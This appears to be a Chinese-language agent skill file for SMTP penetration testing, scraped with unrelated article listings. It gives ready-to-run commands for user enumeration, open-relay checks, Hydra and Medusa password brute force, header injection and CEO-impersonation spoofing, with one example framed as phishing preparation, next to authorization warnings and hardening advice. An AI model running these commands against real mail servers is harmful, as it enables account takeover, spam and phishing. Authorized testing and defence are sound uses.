smtp-penetration-testing - SKILL
name: smtp-penetration-testingdescription: “Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration.”risk: offensivesource: communityauthor: zebberndate_added: “2026-02-27”⚠️ 仅限授权使用此技能仅用于教育目的或经授权的安全评估。在使用此工具之前你必须获得系统所有者的明确书面许可。滥用此工具是非法的严格禁止。强制性确认门禁在运行任何对目标进行探测、利用、更改、持久化、提取数据或尝试凭据访问的命令之前要求用户说明确切的 目标 URL、IP、账户或资源。要求用户确认书面授权和允许的范围。展示确切的命令并解释其预期效果。等待当前对话中的明确确认。如果没有该确认请保持只读状态仅提供防御性指导。优先使用沙箱、一次性虚拟机或受控实验室。仅限授权使用仅在经授权的安全评估、防御性验证或受控教育环境中使用此技能。SMTP 渗透测试目的对 SMTP简单邮件传输协议服务器进行全面安全评估以识别漏洞包括开放中继、用户枚举、弱认证和配置错误。此技能涵盖横幅抓取、用户枚举技术、中继测试、暴力攻击和安全加固建议。前提条件所需工具# 带有 SMTP 脚本的 Nmapsudoapt-getinstallnmap# Netcatsudoapt-getinstallnetcat# Hydra 用于暴力破解sudoapt-getinstallhydra# SMTP 用户枚举工具sudoapt-getinstallsmtp-user-enum# Metasploit 框架msfconsole所需知识SMTP 协议基础知识电子邮件架构MTA、MDA、MUADNS 和 MX 记录网络协议所需访问权限目标 SMTP 服务器的 IP/主机名测试的书面授权用于枚举和暴力破解的字典文件输出与交付物SMTP 安全评估报告- 全面的漏洞发现用户枚举结果- 发现的有效电子邮件地址中继测试结果- 开放中继状态和利用可能性修复建议- 安全加固指导核心工作流阶段 1SMTP 架构理解组件MTA传输→ MDA投递→ MUA客户端 端口25SMTP、465SMTPS、587提交、2525替代 工作流发件人 MUA → 发件人 MTA → DNS/MX → 收件人 MTA → MDA → 收件人 MUA阶段 2SMTP 服务发现识别 SMTP 服务器和版本# 发现 SMTP 端口nmap-p25,465,587,2525-sVTARGET_IP# 主动服务检测nmap-sV-sC-p25TARGET_IP# SMTP 特定脚本nmap--scriptsmtp-*-p25TARGET_IP# 发现域名的 MX 记录digMX target.comnslookup-typemx target.comhost-tmx target.com阶段 3横幅抓取获取 SMTP 服务器信息# 使用 Telnettelnet TARGET_IP25# 响应220 mail.target.com ESMTP Postfix# 使用 NetcatncTARGET_IP25# 响应220 mail.target.com ESMTP# 使用 Nmapnmap-sV-p25TARGET_IP# 版本检测提取横幅信息# 手动 SMTP 命令EHLOtest# 响应揭示支持的扩展解析横幅信息横幅揭示 - 服务器软件Postfix、Sendmail、Exchange - 版本信息 - 主机名 - 支持的 SMTP 扩展STARTTLS、AUTH 等阶段 4SMTP 命令枚举测试可用的 SMTP 命令# 连接并测试命令ncTARGET_IP25# 初始问候EHLO attacker.com# 响应显示能力250-mail.target.com250-PIPELINING250-SIZE10240000250-VRFY250-ETRN250-STARTTLS250-AUTH PLAIN LOGIN250-8BITMIME250DSN要测试的关键命令# VRFY - 验证用户是否存在VRFY admin2502.1.5 admintarget.com# EXPN - 展开邮件列表EXPN staff2502.1.5 user1target.com2502.1.5 user2target.com# RCPT TO - 收件人验证MAIL FROM:testattacker.comRCPT TO:admintarget.com# 250 OK 用户存在# 550 用户不存在阶段 5用户枚举枚举有效电子邮件地址# 使用 smtp-user-enum 配合 VRFYsmtp-user-enum-MVRFY-U/usr/share/wordlists/users.txt-tTARGET_IP# 使用 EXPN 方法smtp-user-enum-MEXPN-U/usr/share/wordlists/users.txt-tTARGET_IP# 使用 RCPT 方法smtp-user-enum-MRCPT-U/usr/share/wordlists/users.txt-tTARGET_IP# 指定端口和域名smtp-user-enum-MVRFY-Uusers.txt-tTARGET_IP-p25-dtarget.com使用 Metasploituse auxiliary/scanner/smtp/smtp_enumsetRHOSTS TARGET_IPsetUSER_FILE /usr/share/wordlists/metasploit/unix_users.txtsetUNIXONLYtruerun使用 Nmap# SMTP 用户枚举脚本nmap--scriptsmtp-enum-users-p25TARGET_IP# 使用自定义用户列表nmap--scriptsmtp-enum-users --script-args smtp-enum-users.methods{VRFY,EXPN,RCPT}-p25TARGET_IP阶段 6开放中继测试测试未经授权的电子邮件中继# 使用 Nmapnmap-p25--scriptsmtp-open-relay TARGET_IP# 通过 Telnet 手动测试telnet TARGET_IP25HELO attacker.com MAIL FROM:testattacker.comRCPT TO:victimexternal-domain.comDATA Subject: Relay Test This is a test..QUIT# 如果被接受250 OK则服务器为开放中继使用 Metasploituse auxiliary/scanner/smtp/smtp_relaysetRHOSTS TARGET_IP run测试变体# 测试不同的发件人/收件人组合MAIL FROM:MAIL FROM:test[attacker_IP]MAIL FROM:testtarget.comRCPT TO:testexternal.comRCPT TO:testexternal.comRCPT TO:test%external.comtarget.com阶段 7暴力破解认证测试弱 SMTP 凭据# 使用 Hydrahydra-ladmin-P/usr/share/wordlists/rockyou.txt smtp://TARGET_IP# 指定端口和 SSLhydra-ladmin-Ppasswords.txt-s465-STARGET_IP smtp# 多个用户hydra-Lusers.txt-Ppasswords.txt TARGET_IP smtp# 详细输出hydra-ladmin-Ppasswords.txt smtp://TARGET_IP-V使用 Medusamedusa-hTARGET_IP-uadmin-P/path/to/passwords.txt-Msmtp使用 Metasploituse auxiliary/scanner/smtp/smtp_loginsetRHOSTS TARGET_IPsetUSER_FILE /path/to/users.txtsetPASS_FILE /path/to/passwords.txtsetVERBOSEtruerun阶段 8SMTP 命令注入测试命令注入漏洞# 头部注入测试MAIL FROM:attackertest.comRCPT TO:victimtarget.comDATA Subject: Test Bcc: hiddenattacker.com X-Injected: malicious-header Injected content.电子邮件欺骗测试# 伪造发件人测试 SPF/DKIM 防护MAIL FROM:ceotarget.comRCPT TO:employeetarget.comDATA From: CEOceotarget.comSubject: Urgent Request Please process this request immediately..阶段 9TLS/SSL 安全测试测试加密配置# STARTTLS 支持检查openssl s_client-connectTARGET_IP:25-starttlssmtp# 直接 SSL端口 465openssl s_client-connectTARGET_IP:465# 密码套件枚举nmap--scriptssl-enum-ciphers-p25TARGET_IP阶段 10SPF、DKIM、DMARC 分析检查电子邮件认证记录# SPF/DKIM/DMARC 记录查询digTXT target.com|grepspf# SPFdigTXT selector._domainkey.target.com# DKIMdigTXT _dmarc.target.com# DMARC# SPF 策略-all 严格失败~all 软失败?all 中立快速参考基本 SMTP 命令命令用途示例HELO标识客户端HELO client.comEHLO扩展 HELOEHLO client.comMAIL FROM设置发件人MAIL FROM:sendertest.comRCPT TO设置收件人RCPT TO:usertarget.comDATA开始消息正文DATAVRFY验证用户VRFY adminEXPN展开别名EXPN staffQUIT结束会话QUITSMTP 响应代码代码含义220服务就绪221正在关闭连接250正常 / 请求的操作已完成354开始邮件输入421服务不可用450邮箱不可用550用户未知 / 未找到邮箱553邮箱名称不允许枚举工具命令工具命令smtp-user-enumsmtp-user-enum -M VRFY -U users.txt -t IPNmapnmap --script smtp-enum-users -p 25 IPMetasploituse auxiliary/scanner/smtp/smtp_enumNetcatnc IP 25然后手动命令常见漏洞漏洞风险测试方法开放中继高使用外部收件人进行中继测试用户枚举中VRFY/EXPN/RCPT 命令横幅泄露低横幅抓取弱认证高暴力破解攻击无 TLS中STARTTLS 测试缺少 SPF/DKIM中DNS 记录查询约束与限制法律要求只测试你拥有或有权测试的 SMTP 服务器发送垃圾邮件或恶意电子邮件是违法的记录所有测试活动不要滥用发现的开放中继技术限制现代服务器通常禁用 VRFY/EXPN速率限制可能减慢枚举速度某些服务器对有效/无效用户给出相同响应灰名单Greylisting可能延迟枚举响应道德边界绝不要通过发现的中继发送实际垃圾邮件不要为恶意用途收集电子邮件地址将开放中继报告给服务器管理员仅将发现用于经授权的安全改进示例示例 1完整 SMTP 评估场景对邮件服务器进行全面安全评估# 步骤 1服务发现nmap-sV-sC-p25,465,587 mail.target.com# 步骤 2横幅抓取ncmail.target.com25EHLO test.com QUIT# 步骤 3用户枚举smtp-user-enum-MVRFY-U/usr/share/seclists/Usernames/top-usernames-shortlist.txt-tmail.target.com# 步骤 4开放中继测试nmap-p25--scriptsmtp-open-relay mail.target.com# 步骤 5认证测试hydra-ladmin-P/usr/share/wordlists/fasttrack.txt smtp://mail.target.com# 步骤 6TLS 检查openssl s_client-connectmail.target.com:25-starttlssmtp# 步骤 7检查电子邮件认证digTXT target.com|grepspfdigTXT _dmarc.target.com示例 2用户枚举攻击场景为钓鱼准备枚举有效用户# 方法 1VRFYsmtp-user-enum-MVRFY-Uusers.txt-t192.168.1.100-p25# 方法 2带时序分析的 RCPTsmtp-user-enum-MRCPT-Uusers.txt-t192.168.1.100-p25-dtarget.com# 方法 3Metasploitmsfconsole use auxiliary/scanner/smtp/smtp_enumsetRHOSTS192.168.1.100setUSER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt run# 结果显示有效用户[]192.168.1.100:25 - Found user: admin[]192.168.1.100:25 - Found user: root[]192.168.1.100:25 - Found user: postmaster示例 3开放中继利用场景测试并记录开放中继漏洞# 通过 Telnet 测试telnet mail.target.com25HELO attacker.com MAIL FROM:testattacker.comRCPT TO:testgmail.com# 如果 250 OK - 存在漏洞# 使用 Nmap 记录nmap-p25--scriptsmtp-open-relay --script-args smtp-open-relay.fromtestattacker.com,smtp-open-relay.totestexternal.com mail.target.com# 输出# PORT STATE SERVICE# 25/tcp open smtp# |_smtp-open-relay: Server is an open relay (14/16 tests)故障排除问题原因解决方案连接被拒绝端口被阻止或关闭使用 nmap 检查端口ISP 可能阻止 25 端口尝试 587/465使用 VPNVRFY/EXPN 被禁用服务器已加固使用 RCPT TO 方法分析响应时间/代码差异暴力破解被阻止速率限制/锁定放慢速度hydra -W 5使用密码喷洒检查 fail2banSSL/TLS 错误端口或协议错误使用 465 进行 SSL25/587 进行 STARTTLS验证 EHLO 响应安全建议给管理员禁用开放中继- 要求对外部投递进行认证禁用 VRFY/EXPN- 防止用户枚举强制 TLS- 要求所有连接使用 STARTTLS实施 SPF/DKIM/DMARC- 防止电子邮件欺骗速率限制- 防止暴力破解攻击账户锁定- 失败尝试后锁定账户横幅加固- 最小化服务器信息泄露日志监控- 对可疑活动发出警报补丁管理- 保持 SMTP 软件更新访问控制- 仅限授权 IP 访问 SMTP何时使用此技能适用于执行概述中描述的工作流或操作。

相关新闻

ROS2系列教程:控制硬件实战(舵机与传感器,原理)

ROS2系列教程:控制硬件实战(舵机与传感器,原理)

本文是 ROS2 系列教程的第 30 篇本文是 ROS2 系列教程的第 30 篇:控制硬件实战(舵机与传感器,原理)。第 29 篇我们打通了电机驱动全链路(H 桥、PWM、编码器、PID、ros2_control 硬件接口)。但机器人除了电机…

2026/10/19 12:01:15 阅读更多 →
slack-automation - SKILL

slack-automation - SKILL

name: slack-automation description: “Automate Slack workspace operations including messaging, search, channel management, and reaction workflows through Composio’s Slack toolkit.” risk: critical source: community date_added: “2026-02-27” 通过 Rube MCP…

2026/10/19 12:01:15 阅读更多 →
ROS2系列教程:实体机器人硬件搭建(原理)

ROS2系列教程:实体机器人硬件搭建(原理)

本文是 ROS2 系列教程的第 31 篇本文是 ROS2 系列教程的第 31 篇:实体机器人硬件搭建(原理)。第 26-30 篇我们打通了硬件控制全链路:电机、舵机、传感器、MicroROS、ROS2-Control。但那些都是在"零件"层面。本篇开始进入…

2026/10/19 12:01:15 阅读更多 →

最新新闻

Open-Code-Review:代码评审范式升级与LLM Agent实践

Open-Code-Review:代码评审范式升级与LLM Agent实践

1. “open-code-review”不是工具名,而是正在发生的开发范式迁移 你最近在 GitHub Trending、Hacker News 或团队 Slack 里反复看到 open-code-review 这个词,但它既不是某个新发布的 CLI 工具,也不是某家公司的 SaaS 产品名称——它是一个…

2026/10/19 13:31:23 阅读更多 →
从形式化到工程化:Open Code Review 的团队落地实践与经验

从形式化到工程化:Open Code Review 的团队落地实践与经验

1. 我为什么把代码审查这件事"打开来做"1.1 一次让我彻底改观的线上故障先讲个真实经历。前几年我带一个后端团队,某个周四晚上,订单服务突然出现大面积超时,监控告警响成一片。定位到最后,根因是同事合并了一段 800 多…

2026/10/19 13:31:23 阅读更多 →
让Code Review不再走过场:open-code-review完整落地复盘

让Code Review不再走过场:open-code-review完整落地复盘

你有没有遇到过这样的场景:提了一个 Pull Request,同事两天没点开,好不容易点了,只留下一句“LGTM”,合并上线后线上出了问题;或者反过来,评审人非常认真,但全程揪着缩进、变量命名争…

2026/10/19 13:31:23 阅读更多 →
基于SpringBoot的员工绩效考核系统设计与实战避坑指南

基于SpringBoot的员工绩效考核系统设计与实战避坑指南

每年到了三四月份,就会有一批像“A同学”这样的学生来找我,拿着网上下载的、还是SSH框架的老古董项目,或者是那种只有增删改查、连个逻辑都没有的“管理系统”,问我能不能帮忙改造一下,好拿去毕业答辩。说实话&#xf…

2026/10/19 13:31:23 阅读更多 →
open-code-review:用AST规则引擎补齐代码评审的自动检查环节

open-code-review:用AST规则引擎补齐代码评审的自动检查环节

如果你的团队也经历过“评审意见全是格式问题、真正的逻辑漏洞没人发现”的阶段,那 open-code-review 这个项目应该能帮上忙。它是一套开源代码评审工具,把人工评审里最耗精力的机械性检查交给机器,让审查者把时间留给真正需要思考的设计和逻…

2026/10/19 13:30:20 阅读更多 →
滑雪场售票系统库存防超卖设计与Spring Boot实践

滑雪场售票系统库存防超卖设计与Spring Boot实践

滑雪场的售票系统和普通电商比起来,有个特别折磨人的点:库存不是简单的"总数",而是"每天限量"——雪场容量有限,节假日必须限流,票种又分日场、夜场、季卡、教学套餐,价格体系还随淡旺…

2026/10/19 13:30:20 阅读更多 →

日新闻

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

简介:本资源为电源技术方向的学术研究文档,聚焦介质阻挡放电型臭氧发生器电源的频率跟踪型PWM控制策略,面向电力电子、高压电源及臭氧应用领域的科研人员与工程技术人员。针对负载呈容性、等效电容随外加电压升高而增大、谐振频率随之漂移的难…

2026/10/19 0:00:47 阅读更多 →
Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 0:00:47 阅读更多 →
HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

【免费下载链接】HundredCV-Chat 项目地址: https://ai.gitcode.com/hf_mirrors/Jax-dan/HundredCV-Chat 点击查看 免费下载 HundredCV-Chat 是一个由 100 位青年简历数据开发而来的中文多轮对话数据集,共包含 24,750 组日常闲聊对话和 4,871 个话题标签…

2026/10/19 0:00:47 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/19 10:02:04 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/19 1:30:52 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 2:54:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 9:10:22 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →